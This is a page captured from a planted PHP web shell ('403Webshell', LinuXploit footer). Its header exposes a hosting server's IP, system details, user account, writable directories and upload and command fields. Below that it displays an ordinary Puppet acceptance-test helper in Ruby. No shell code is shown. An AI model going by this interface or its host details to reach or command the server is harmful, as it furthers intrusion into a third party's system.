403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.226.87.170
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/vendor_modules/mount_core/spec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/vendor_modules/mount_core/spec//spec_helper_acceptance.rb
require 'beaker-rspec'
require 'beaker-puppet'
require 'beaker/module_install_helper'
require 'beaker/puppet_install_helper'
require 'voxpupuli/acceptance/spec_helper_acceptance'

$LOAD_PATH << File.join(__dir__, 'acceptance/lib')

RSpec.configure do |c|
  c.before :suite do
    unless ENV['BEAKER_provision'] == 'no'
      hosts.each { |host| host[:type] = 'aio' }
      run_puppet_install_helper
      install_module_on(hosts)
      install_module_dependencies_on(hosts)
    end
  end
end

shared_context 'mount context' do |agent|
  let(:fs_file) { MountUtils.filesystem_file(agent) }
  let(:fs_type) { MountUtils.filesystem_type(agent) }
  let(:backup) { agent.tmpfile('mount-modify') }
  let(:name) { "pl#{rand(999_999).to_i}" }
  let(:name_w_slash) { "pl#{rand(999_999).to_i}\/" }
  let(:name_w_whitespace) { "pl#{rand(999).to_i} #{rand(999).to_i}" }

  before(:each) do
    on(agent, "cp #{fs_file} #{backup}", acceptable_exit_codes: [0, 1])
  end

  after(:each) do
    # umount disk image
    on(agent, "umount /#{name}", acceptable_exit_codes: (0..254))
    # delete disk image
    if agent['platform'].include?('aix')
      on(agent, "rmlv -f #{name}", acceptable_exit_codes: (0..254))
    else
      on(agent, "rm /tmp/#{name}", acceptable_exit_codes: (0..254))
    end
    # delete mount point
    on(agent, "rm -fr /#{name}", acceptable_exit_codes: (0..254))
    # restore the fstab file
    on(agent, "mv #{backup} #{fs_file}", acceptable_exit_codes: (0..254))
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit